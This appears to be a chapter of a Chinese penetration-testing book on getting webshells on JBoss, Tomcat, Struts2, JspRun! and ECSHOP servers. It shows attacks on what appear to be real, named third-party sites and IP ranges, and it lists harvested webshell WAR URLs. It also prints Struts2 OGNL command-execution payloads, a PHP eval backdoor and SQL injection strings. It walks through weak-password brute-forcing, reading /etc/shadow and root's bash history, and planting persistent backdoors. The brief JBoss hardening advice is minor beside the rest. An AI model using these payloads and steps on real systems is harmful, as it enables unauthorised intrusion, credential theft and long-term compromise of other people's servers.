对搜索出来的记录一一查看,看其能否正常访问。由于搜索引擎的时效性,有些网站虽然显示在搜索结果中,但由于各种原因,已经不能访问。如果网站不能正常访问就可以舍弃。
在搜索结果中,http://oa.tsingtaobeer-sales.com:8080/jmx-console/网站能够正常访问。在该页面中搜索“jboss.deployment”,并找到“* flavor=URL, type=DeploymentScanner”,单击该超链接,看看能否正常访问,如图6-29所示。
图6-29 测试JBoss页面
6.3.3 添加WebShell的WAR文件地址
将JSP的Shell压缩成WAR文件,然后将该WAR文件上传到互联网上能够访问的网站中。本例中WAR文件的真实地址为“http://www.cam*****.com.hk/forum/forumdata/cache/war.war”,当前打开的页面为“http://oa.tsingtaobeer-sales.com:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL”,在该页面找到void addURL()函数,将“http://www.cam*****.com.hk/forum/forumdata/cache/cmd.war”复制到“ParamValue”中,如图6-30所示。单击“invoke”按钮,将http://www.cam*****.com.hk/forum/forumdata/cache/war.war下载到本地服务器并进行部署,部署成功后会给出相应的提示,如图6-31所示。
图6-30 利用addURL函数下载并部署WAR文件
图6-31 操作成功
6.3.4 应用修改使设置生效
回到主界面,如图6-32所示,在URLList中会看到刚才加入的WAR地址,单击“Apply Change”选项使设置生效。
图6-32 应用修改使设置生效
6.3.5 充实“武器库”
通过观察URLList,发现该列表就是部署WAR的地址。如果通过前面的步骤在URLList中仅仅只有我们自己的地址,那么我们就是第一个获取该服务器的人,在获取服务器的权限后可以对其进行升级和加固,从而可能长期“维护”和使用该服务器。在本例中,将URLList中的值复制到“记事本”中,然后进行整理——有26个WAR文件,地址列表如下。
• http://116.232.230.228/xm.war
• http://117.67.0.248/wc.war
• http://121.207.250.24/war.zip
• http://121.207.250.24/war1.zip
• http://189.54.19.69:8181/cmd.war
• http://189.54.19.69:8181/h2010.war
• http://192.168.1.56:8080/System-Console/jsp/test.war
• http://203.246.56.27:8080/safe/safe.war
• http://210.51.25.183/icons/war.war
• http://221.137.124.253:8080/System-Console/jsp/job.jsp
• http://221.137.124.253:8080/System-Console/jsp/test.war
• http://61.178.73.149/job/no.war
• http://blog.avfree.cn/cmd.war
• http://blog.xiancn.com/Browser.war
• http://blog.xiancn.com/cmd.war
• http://jbosstest.webs.com/Browser.war
• http://www.acclaimedenterprises.com/tmp/browser.war
• http://www.camgear.com.hk/forum/forumdata/cache/Browser.war
• http://www.cfblog.com/honeywell/war.war
• http://www.laodu.com.cn/ri/hack.war
• http://www.nmgfb.com/coody.war
• http://www.posumex.com/bdd/user/war.war
• http://www.str0m.cn/1.war
• http://www.yunxi.net/cmd.war
• http://yese.yi.org/cmd.war
• http://yese.yi.org/war/cmd.war
可以依次访问这些地址,当然,一个简单的办法是复制这些地址,将其粘贴在FlashGet中,通过FlashGet下载。虽然这些地址中有些WAR无法下载,但通过对下载的WAR文件进行整理和分析,获取了4个好用的WAR文件。笔者在测试时就想用WAR文件解决问题,来回折腾了好几次都没有成功,但换成获取的WAR文件就成功了。将这些好用的WAR文件归入“武器库”,充实“弹药”!
6.3.6 获得WebShell
在浏览器地址栏中输入“http://oa.tsingtaobeer-sales.com:8080/war”,测试WebShell能否正常访问,如图6-33所示,看到了熟悉的JSP WebShell页面。需要特别注意的是,在部署过程中,由于WAR文件和网站路径的不同,其访问地址可能会有一些不同,因此需要多进行测试,有的直接可以访问,有的需要添加WAR包的名称。
图6-33 获得WebShell
防御方法主要是给jmx-console加上访问密码,即采取以下方法。
01 在“$ {jboss.server.home.dir}/deploy”下面找到“jmx-console.war”目录,编辑“WEB-INF/web. xml”文件,去掉security-constraint块的注释,使其发挥作用。
02 编辑“WEB-INF/classes/jmx-console-users.properties”或“server/default/conf/props/jmx-console-users.properties(version> =4.0.2)”,以及“WEB-INF/classes/jmx-console-roles.properties”或“server/default/conf/props/jmx-console-roles.properties (version>=4.0.2)”,添加用户名和密码。
03 编辑“WEB-INF/jboss-web.xml”,去掉security-domain块的注释,security-domain值的映射文件为“login-config.xml”(该文件定义了登录授权方式)。
6.4 JBoss Application Server获取WebShell
JBoss是全世界开发者共同努力的成果,是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。2006年,JBoss公司被Red Hat公司收购。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB 3.0规范。但JBoss的核心服务不包括支持Servlet/JSP的Web容器,一般与Tomcat或Jetty绑定使用。JBoss有如下优点。
• JBoss是免费的、开放源代码J2EE的实现,通过LGPL许可证进行发布。但同时,JBoss也有闭源的,开源和闭源的流入/流出的不是同一途径。
• JBoss需要的内存和硬盘空间比较小。
• JBoss安装便捷,解压后只需配置一些环境变量即可。
• JBoss支持热部署,在部署BEAN时,只复制BEAN的JAR文件到部署路径下即可自动加载,如果有改动也会自动更新。
• JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高了运行效率,提升了安全性能。
• 用户可以直接实施J2EE-EAR,不必像以前一样分别实施EJB-JAR和Web-WAR,非常方便。
• JBoss支持集群。
本节主要介绍如何获取JBoss Application Server的WebShell。“JBoss Application Server”简称“JBoss AS”,即“JBoss应用服务器”,下面是详细的渗透方法和过程。
6.4.1 扫描JBoss Application Server端口
JBoss默认采用8080端口,也可以自定义端口,通常为80和8080。扫描端口时,可以使用NMap,也可以使用JSky自带的IISPuter。通过扫描或者目标服务器开启8080端口,通过IE浏览器直接对该IP地址进行访问,如图6-34所示,获取了JBoss AS的主界面,该界面与JBoss界面类似。
图6-34 JBossAS主界面
JBoss AS主要有两大类,一类是管理JBoss AS实例,另一类是JBoss AS在线资源。在JBoss AS实例中共有4个选项。
• Administration Console:管理控制台。该控制台可以管理JBoss AS的所有应用,管理部署应用程序。单击该链接会显示一个登录窗口,如图6-35所示,在该登录窗口中需要输入用户名和密码,验证正确后即可进行管理。如果在JBoss AS中未对管理控制台设置访问密码,则可以直接进入管理控制台。
图6-35 JBossAS管理控制台
• JMX Console:JMX Console是JBoss中的一个Web应用程序,它可以查看当前装载到JBoss服务器中的MBeans,检查它们当前的状态,并用浏览器读取和写入它们的属性。单击该链接,打开JMX Console的主界面,如图6-36所示,可以看到JMX Agent的情况,即部署的WAR程序的详细情况。在该窗口中还可以看到对象名称过滤器(Object Name Filter),按照不同的名称查看JBoss的Web应用情况。渗透JBoss服务器的一个方法就是通过jboss. deployment下的“flavor=URL, type=DeploymentScanner”添加一个可下载的WAR地址,从而获得一个WebShell。
图6-36 JMX Console主控制台
• JBoss Web Console:JBoss Web Console主要显示JBoss版本信息、JBoss运行时间、主机IP地址、环境信息、硬件信息及JVM硬件等信息,如图6-37所示,掌握这些信息在渗透过程非常有用。
图6-37 JBoss Web Console主界面
• Tomcat status (full) (XML):主要用于查看Tomcat的运行Status。
6.4.2 通过JBoss AS部署WebShell
通过JBoss AS部署WebShell的过程如下。
01 登录验证
通过Administration Console进入管理控制台,如图6-38所示,有些服务器设置了口令,不过该控制台可以进行暴力破解,可以尝试admin/admin、admin/123456等弱口令组合。
图6-38 进入JBoss AS管理控制台
02 查看Web Application(WAR)
单击JBossAS Servers下的“Web Application(WAR)”选项,展开WAR的部署情况。如图6-39所示,显示了所有已经部署的WAR,管理员可以通过这个界面查看服务器是否被入侵。
图6-39 查看已经部署的WAR
03 上传WAR文件
在Web Application主界面右下方有一个“Add a new resource”按钮,单击该按钮可以部署新的WAR,如图6-40所示。
图6-40 上传WAR文件进行部署
单击“浏览”按钮,选择一个WAR文件,如果没有WAR文件,可执行命令“jar-cvf myshell.war index.jsp”,将WebShell文件index.jsp生成myshell.war。单击“Continue”按钮继续进行部署,如果部署的WAR文件不是JBoss能够识别的(不是通过jar命令生成的)则会报错,如图6-41所示。
图6-41 部署报错
针对该情况有两种解决方案:一种是自己搭建环境,生成一个WAR文件;另一种是收集一些JSP WebShell的RAR文件。重新上传能用的WAR文件,如图6-42所示,部署成功。
图6-42 重新部署WAR文件
04 启动Web Application应用程序
在Web Application中单击刚才部署的WAR文件,可以查看其配置情况。如图6-43所示,在该配置页面可以看到其一般属性,如名称、版本和描述等信息,该信息主要用于部署程序调试等用,在WebShell中基本无用。
图6-43 查看WAR程序的配置情况
单击“Control”标签进入服务控制页面,单击“Start”按钮开启该WAR应用。如果想关闭该应用,单击“Stop”按钮即可,而“Restart”按钮则表示重启该WAR应用。如图6-44所示,将刚才部署的WAR的WebShell运行。
图6-44 运行刚刚部署的WAR应用
6.4.3 获取JSP的WebShell
在地址栏输入“http://202.10.xxx.xxx:8080/war/”进行WebShell的访问测试,如图6-45所示,顺利获取JSP的WebShell界面,输入密码即可进入WebShell进行管理。
图6-45 获取WebShell
如图6-46所示,获取ServerName、ServerPort、Server OS、CurrentUser、CurrentUserFolder、CurrentWorkingDirectory、程序相对路径、程序绝对路径、网络协议、服务器软件版本信息、JDK Version、JDK HomeDir、Java VM、Java VM Name、Java ClassPath、Java LibraryPath、Java TmpFolde、JIT编译器名、扩展Folder路径、客户端信息、RemoteAddress、RemoteHostName、Username、请求方式及应用安全套接字层等信息。
图6-46 获取服务器等相关信息
由该页面可以知道,目前用户为root权限,即服务器最高权限。后期可以收集root等其他用户的.bash_history、.mysql_history,获取etc/passwd、etc/shadow等有关密码信息的文件,获取网站敏感配置文件等。
6.5 Tomcat弱口令搞定某Linux服务器
对运行JSP服务器的渗透方法与其他脚本的渗透方法稍有不同,JSP网站一般需要通过WAR文件部署程序,对这类网站的渗透,可以通过暴力破解Tomcat用户密码及MySQL、Oracle数据库密码等方法获取WebShell。本节介绍的Apache Tomcat Crack软件对Tomcat服务器具有较好的暴力破解能力。
6.5.1 使用Apache Tomcat Crack暴力破解Tomcat口令
在起始IP地址中输入“216.84.0.1”,在终止IP地址中输入“216.120.0.1”,单击“添加”按钮,将该地址段添加到扫描地址段中,如图6-47所示,其他使用默认设置。
图6-47 暴力破解Tomcat口令
6.5.2 对扫描结果进行测试
在扫描结果中选择“http://216.86.144.162:8080/manager/html”,然后进行登录测试,如图6-48所示,单击“Tomcat Manager”选项进行登录测试,输入用户名和密码进行登录。
图6-48 对扫描结果进行测试
6.5.3 部署WAR格式的WebShell
进入Tomcat Manager管理后台后,到最下方进行WAR文件的部署。如图6-49所示,单击“浏览”按钮,选择一个WAR的WebShell,该WebShell必须是JSP的WebShell,WAR格式可以在压缩时将后缀名字自定义为“war”。
图6-49 部署war格式的WebShell
6.5.4 查看Web部署情况
文件上传成功后,Tomcat会自动部署WAR文件。如图6-50所示,可以看到,在后台多了一个“/Browser”超链接,单击该超链接即可进入部署的文件夹。部署成功后,可以对部署的JSP WebShell进行启用(Start)、停止(Stop)、重载(Reload)和卸载(Undeploy)操作。
图6-50 查看Web部署情况
6.5.5 获取WebShell
在部署时尽量将JSP文件命名为“index.jsp”,这样在部署成功后访问部署的链接即可,否则需要使用“部署文件夹+具体的WebShell名称”才能正确访问WebShell地址,如图6-51所示。
图6-51 获取WebShell
6.5.6 查看用户权限
在WebShell中单击“系统命令”选项,进入执行命令界面。如图6-52所示,在文本框中输入“id”,获取系统当前用户的权限等信息。
图6-52 获取当前用户信息
6.5.7 上传其他WebShell
通过获取的WebShell上传一个Jbrowser的WebShell。使用此WebShell浏览文件非常方便,如图6-53所示。
图6-53 上传WebShell
6.5.8 获取系统加密的用户密码
执行“cat/etc/shadow”命令,获取当前Linux系统中所有用户的加密密码值,如图6-54所示,该密码采用MD5加密,可以通过cmd5.com网站进行破解。
图6-54 获取系统用户密码加密值
6.5.9 获取root用户的历史操作记录
执行“cat/root/.bash_history”命令查看root用户的历史操作记录,只有具有root用户权限才能查看该历史记录文件,如图6-55所示。
图6-55 查看root用户的历史操作记录
6.5.10 查看该网站域名的情况
使用“www.yougetsignal.com”网站的反查IP域名功能,获取该IP地址的两个域名,分别是“communityaccesssystems.com”和“richardliggitt.com”,如图6-56所示,单击该域名查看域名能否正常访问。
图6-56 查看该网站域名的情况
6.5.11 获取该网站的真实路径
通过查看“/etc/passwd”文件中的网站用户获取网站的真实路径。通过WebShell定位网站的真实路径,如图6-57所示。在“/etc/passwd”文件中会指定单独的用户作为网站用户,同时会指定该用户的默认目录,该默认目录即为网站的真实路径。
图6-57 获取网站的真实路径
6.5.12 保留WebShell后门
找到网站的真实路径后,继续查看该文件夹下的文件和内容。如图6-58所示,该文件夹为“testphp”,即PHP的测试文件夹,上传一个网页木马或者在源代码中加入一句话后门。
图6-58 保留网站后门
6.5.13 总结与思考
本节介绍了如何通过Apache Tomcat Crack暴力破解Tomcat口令,只要知道用户的名称,就能通过字典对目标进行暴力破解。获取Tomcat管理员的用户名和密码后,可以通过WAR文件部署JSP的WebShell,如果设置不当,获取的WebShell权限即为root权限。
6.6 Struts S016和S017漏洞利用实例
Struts是Apache基金会Jakarta项目组的一个开源项目。Struts通过Java Servlet/JSP技术实现了基于JavaEE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。
目前Struts2的最新版本为Struts 2.3.16,下载地址为http://struts.apache.org/downloads.html。Struts的最新漏洞为S019,可以直接查看其最新的漏洞细节,如图6-59所示。Struts2曾经使国内很多大型网站沦陷,其漏洞的修复比较困难。Apache Struts2是一个应用框架,它的漏洞并不像Windows一样,及时将补丁推送给用户,用户更新即可解决问题,而是需要站长或网站维护人员自己去更新。Struts S016漏洞的产生原因是Action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传/下载文件等。
图6-59 Struts2历史漏洞列表
6.6.1 搜寻目标站点
通过Google对目标站点进行检索。例如,“site:hk inurl:index.action?”表示对URL中包含“index.action”的香港网站进行检索,如图6-60所示,单击“Google搜索”按钮查看搜索记录。Site可以是“com”、“cn”、“org”和“ca”等,表示域名的最后属地,也即渗透测试的方向,如“com.cn”、“cn”和“org.cn”等都是中国的网站。
图6-60 对测试目标进行检索
6.6.2 测试网站能否正常访问
在Google检索记录中随机选择一条记录进行查看。打开该链接地址,如图6-61所示,测试该网站是否存在或者能否正常访问,如果能够正常访问,表明可以对该网站进行下一步测试。
图6-61 测试网站是否正常
6.6.3 测试Struts2 S016漏洞
运行Structs2漏洞利用工具,如图6-62所示,将“http://www.alliette.com.hk/index.action”复制到Action中,路径填写为“me.jsp”(路径可以自定义,自定义便于隐藏和识别)。文件内容使用JSP木马,也就是用“记事本”打开该JSP木马文件,复制代码内容到文件内容中,单击“开始”按钮进行实际漏洞测试,在“logs”文本框中会提示漏洞测试情况,如果显示“getshell ok”,则表示存在漏洞并成功上传JSP木马到当前目录,木马访问地址为“漏洞利用URL+路径”,在本例中为“http://www.alliette.com.hk/me.jsp”。
图6-62 测试网站是否存在漏洞
6.6.4 获取WebShell权限
在浏览器地址栏中输入WebShell的地址“http://www.alliette.com.hk/me.jsp”进行测试,如图6-63所示,成功获取WebShell权限。通过WebShell可以方便地查看网卡配置等情况,进行添加用户等操作。如图6-64所示,获取的WebShell为服务器权限,后续测试工作就不再继续进行了。
图6-63 获取WebShell权限
图6-64 获取WebShell为服务器权限
6.6.5 思考与总结
本节介绍了Structs漏洞的具体利用方法,只要掌握了基础知识,通过漏洞利用工具可以快速渗透存在漏洞的目标站点。
关注一些Struts2漏洞利用工具,在前人的基础上进行学习,可以快速获取最新热点。推荐关注k8的个人博客(http://qqhack8.blog.163.com)。
笔者收集了一些不知是否存在的POC(http://zone.wooyun.org/content/3880),列举如下。
POC1
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAcc
ess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75f
alse')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collection
s@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))
POC2
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStatic
MethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'
POC3
http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAcces
sor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAcc
ess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang
.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true
POC4
http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%
5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(fal
se)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40j
ava.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]
POC5(执行了2次,所以是10秒)
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMe
thodAccess%22]=true,@java.lang.Thread@sleep(5000)}
执行cmd命令的POC,将回显“webStr\75new\40byte [100]”修改为合适的长度,具体如下。
POC1
http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAcc
ess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75f
alse')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collection
s@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getReq
uest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.
getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataIn
putStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[
100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43we
bStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.st
ruts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.stru
ts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println
(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipc
onfig
POC2
http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStatic
MethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest
(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),
%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer
=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.S
tring(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getRespons
e(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig
POC3
http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.
MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_mem
berAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@o
rg.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@g
etRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.Da
taInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreade
r.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@
org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().pr
intln(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
POC4
http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5
b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false)
,%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.str
uts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().
exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStre
amReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%2
3c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getRespon
se().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.cla
ssLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an
POC5
http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMe
thodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest()
,%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%2
3iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=n
ew%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.St
ring(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse
(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%
20set
6.7 JspRun!后台获取WebShell
JspRun!是北京飞速创想科技有限公司推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建功能完善、高负载能力和可高度定制的论坛服务。
JSPRun!的基础架构采用世界上最先进、最流行的Web编程组合——Java+MySQL实现。这是一个经过完善设计的、适用于各种服务器环境的高效的论坛系统解决方案,Struts、Hibernate框架及中间件的结合既实现了业务逻辑与控制逻辑的有效分离,提高了层次结构的清晰度,提高了复用的粒度,降低了开发和维护的代价,又保证了软件的质量,使其更具有鲁棒性和可维护性。它既可以运行在Windows环境下,也可以运行在Linux环境下,具备跨平台特性,可以运行于Linux/FreeBSD/UNIX/SunOS及Windows 2000/2003等操作系统环境下。网上提供一键安装的Linux和Windows版本,官方网站为www.jsprun.com。通过实际使用,其基本模仿了Discuz!论坛的风格。目前,网上也有大量的用户使用该程序搭建社区论坛等应用。
本节主要就如何在获取管理员账号和密码的情况下获得WebShell,如何获得管理员的账号和密码则不在本节讨论的范围。
6.7.1 进入系统后台
登录后台成功后,单击“论坛管理”选项进入系统设置首页,如图6-65所示。JspRun!论坛程序可以直接输入后台管理地址(http://www.somesite.com/admincp.jsp)进行登录,这与Discuz!论坛管理系统稍有区别。
图6-65 进入后台设置界面
6.7.2 新增模板
在系统设置首页中,单击“模板编辑”选项,可以看到系统默认的5套模板,分别是默认模板套系、喝彩奥运、深邃永恒、粉状精灵和2008year。新增一套模板,模板名称可以随意取,在本例中取名为“111”,所在目录设置为已经存在的目录“./include”,然后单击“提交”按钮完成模板的编辑,如图6-66所示。
图6-66 创建模板
6.7.3 在模板中创建文件
在“模板维护”设置区可以看到显示为绿色的“jsprun_version”及“test”模板,单击项目可以进行编辑,也可以新增模板文件。如图6-67所示,输入模板名称“shell”,单击“提交”按钮,并在“shell”模板文件中粘贴“shell”文件中的代码,保存后即可获取Shell。
图6-67 新增模板文件shell
6.7.4 测试并访问Shell
Shell地址与模板目录有关,地址为“网站地址+模板目录+模板文件名”,如图6-68和图6-69所示,本例中Shell的地址为“http://www.somesite.com/include/shell.php”。如果出现文件访问出错信息,有可能是代码文件存在问题,建议使用JSP File Browser文件管理器。
图6-68 Shell文件的真实地址
图6-69 获取WebShell
6.7.5 JspRun!论坛的其他相关漏洞
根据网上公布的漏洞线索,JspRun!论坛管理后台的export变量没有被过滤,可直接进入查询语句,进而进入后台并操作数据库,获取系统权限。处理后台提交的文件ForumManageAction.java的第1940行起内容如下。
String export = request.getParameter("export"); //直接获取,没有安全过滤
if(export!=null){
List<Map<String,String>> styles=dataBaseService.executeQuery("SELECT s.name,
s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT
JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='"+export+"'");
//进入查询语,执行了...
if(styles==null||styles.size()==0){
测试方法如下。
http://www.somesite.com/admincp.jsp?action=styles&export=1' and 1=2 union
select 1,2,3,4,user()-- and ''='
笔者对JspRun!论坛2010版本的程序进行实际测试,在测试过程中遇到两种情况:一种情况是提示用户无管理权限,拒绝执行;另一种情况则是下载一个style文件。style文件的内容如图6-70所示。
图6-70 style文件的内容
6.7.6 总结与思考
在Windows及Linux平台上搭建的JspRun!论坛程序,如果权限设置不严格,攻击者可以较为容易地拿到最高的系统权限,也即通过WebShell直接添加用户或者执行system命令。
后台管理员密码有4种获取方式:给管理员发木马,中马后查看键盘记录即可获取;在同一网段对管理员账号进行嗅探;通过XSS构建跨站漏洞获取管理员密码;了解管理员的信息,通过社工库查询,甚至有可能通过社工直接获取。
6.8 ECSHOP后台获取WebShell
某日,好友发来一个地址,想渗透某目标网站A,但目标网站A为WordPress的最新版本,基本不可能直接渗透该站点。通过查看该服务器上的其他网站,发现网站使用了ECSHOP,于是有了本节内容。笔者在开始时对ECSHOP的各种漏洞进行测试,但都效果不佳,后期通过社工成功猜测密码,最终成功获取目标网站A的WebShell权限。下面将渗透过程中遇到的问题和解决方法与读者分享。
6.8.1 验证后台功能
获取后台密码主要有SQL注入、社工和嗅探3种方式。首先输入网站后台登录地址(http://www.xxxxxx.com/admin)进行测试,查看后台是否为默认地址,然后输入管理员用户名“admin”、密码“admin”及验证码进行初步登录测试,如图6-71所示,后台登录功能正常,能够对错误密码进行提醒。
图6-71 后台地址功能测试
说明
(1)有些CMS系统会给出相当于蜜罐的默认后台登录地址,这个登录地址是一个虚假的地址,放在后台中就是为了迷惑入侵者。
(2)对后台地址进行功能测试是为下一步渗透工作做准备。如果后台登录地址本来就无法登录,那么即使获取了后台密码也没有用,因此,在渗透中必须对功能进行测试。
6.8.2 猜测后台密码
继续对管理员密码进行测试。输入管理员用户名“admin”和密码“admin123”进行测试,成功登录后台。
注意
(1)进入后台以后,先查看ECSHOP管理中心默认显示的信息,在本例中能够看到该程序的版本为“v2.7.2 RELEASE 20100604”,且后台提示有2个版本的最新补丁,分别是“最新版本: v2.7.3 released 20121106”和“最新补丁:27320130708014”。通过这些信息基本判定能够获取该系统的0day。
(2)通过Google搜索该程序的相关利用方法。互联网上会公布这些程序的利用方法。获取并在本地进行测试,测试成功后,即可放在实际的系统中进行测试。
6.8.3 前台插入一句话后门代码
通过Google搜索关键字“ecshop后台webshell”,获取了多篇讨论该话题的文章。通过查看网页获取利用方法,在ECSHOP前台“留言板”进行留言,在内容中插入一句话后门代码“<?php eval($_POST[cmd]);?>”,电子邮箱和主题可随便填写,如图6-72所示,然后发表留言。
图6-72 在留言板中插入一句话后门代码
6.8.4 查看留言内容
留言发表后,还需要到后台进行查看。在ECSHOP的管理界面查看会员留言,如图6-73所示,可以看到刚才的留言已经成功提交。
图6-73 查看留言内容
6.8.5 自定义备份ecs_feedback表
在后台中依次单击“数据库管理”→“数据备份”选项,如图6-74所示,在其中选择“自定义备份”选项,目的是让备份出来的文件尽量小一些。这个备份也是Shell的连接地址,如果文件太大,打开时速度比较慢。接着,在后台备份ecs_feedback表(就是存放一句话后门代码留言的表)。备份文件名设置为“ok.php”,这里必须是以“php”为后缀的文件,名称为合法的文件名即可。
图6-74 数据库备份
如图6-75所示,单击“开始备份”按钮进行数据库备份。数据库备份成功后提示“备份成功”,并给出备份的文件名称“ok.php.sql”,如图6-76所示,单击该名称可以直接打开备份文件。
图6-75 设置备份的文件名称
图6-76 备份成功
6.8.6 成功获得WebShell
使用“中国菜刀”一句话后门连接工具,输入Shell的地址“http://www.somesite.com/data/sqldata/ok2.php.sql”,并设置密码为“cmd”,打开后如图6-77所示,成功获取网站的WebShell。
图6-77 后台获取WebShell
6.8.7 查看数据库备份文件
通过“中国菜刀”的管理器下载并查看该文件,可以看到文件中包含一句话后门代码,如图6-78所示。如果使用浏览器打开,会发现数据库内容显示到一句话后门插入前的内容,后面的内容就不会显示了。该漏洞的利用原理就是Apache的文件解析漏洞。因为Apache文件解析漏洞就是针对文件名是“ok.php.sql”形式的文件,只要最后的文件扩展名是Apache无法解析的,就会按照PHP文件来解析它。在这里,SQL文件就是Apache不能解析的文件,因此理所当然地把这个文件当做PHP文件执行。所以,如果是Apache+PHP,即使文件名变成了上面的形式,也可以正常解析,我们需要做的就是单击备份后的超链接。所以,这种获取Shell的方式需要环境是Apache+PHP,还有一个条件是不能开启GPC魔术转换,所以很“鸡肋”。
图6-78 数据库备份文件内容
6.8.8 ECSHOP管理中心SQL查询
ECSHOP后台还提供了SQL查询功能,利用方法为:依次单击“数据库管理”→“SQL查询”选项,如图6-79所示,在其中直接输入语句即可。
图6-79 查看数据库
例如,查看数据库,输入“show databases”,即可获取数据库的详细名称,还可以查看数据库中的表和表中的内容等,如图6-80所示。通过操作数据库,在获取网站目录的真实地址后,可以通过导出一句话木马来获取WebShell。
图6-80 查看数据库表
6.8.9 小结
开始对网站进行扫描时,各种漏洞测试收效甚微。在人们的网络安全意识逐渐提高的今天,通过明显的漏洞获得权限的机会将越来越小。后期通过对网站用户和密码进行猜测,成功进入后台。社工攻击则具有一定的偶然性。
对各个版本漏洞的掌握和测试是渗透成功进行的必要条件。平时多下功夫,对各个CMS系统出现的漏洞进行测试和再现,充分掌握成功利用漏洞的必要条件,在合适的场景下必然会取得预期的效果。
重视各种手法的综合利用。在本例中,可以研究密码的暴力破解、密码钓鱼攻击等方法,通过各种方法获取后台密码,进而提升网站权限。
6.9 0day分析之COLDFUSION本地包含漏洞的利用方法
CVE-2010-2861(http://cve.scap.org.cn/CVE-2010-2861.html)是在Adobe ColdFusion 9.0.1及之前版本的管理控制台中存在多个目录遍历漏洞。
远程攻击者可借助向“CFIDE/administrator/”中的“CFIDE/administrator/settings/mappings.cfm”、“logging/settings.cfm”、“datasources/index.cfm”、“j2eepackaging/editarchive.cfm”和“enter.cfm”发送的locale参数读取任意文件。本节将对这些漏洞进行测试,以获取管理员密码,以及通过本地包含漏洞直接获取WebShell。
6.9.1 搭建Goldfusion测试平台
下载coldfusion-801-win-tre.rar,解压以后直接运行安装程序并进行设置即可。
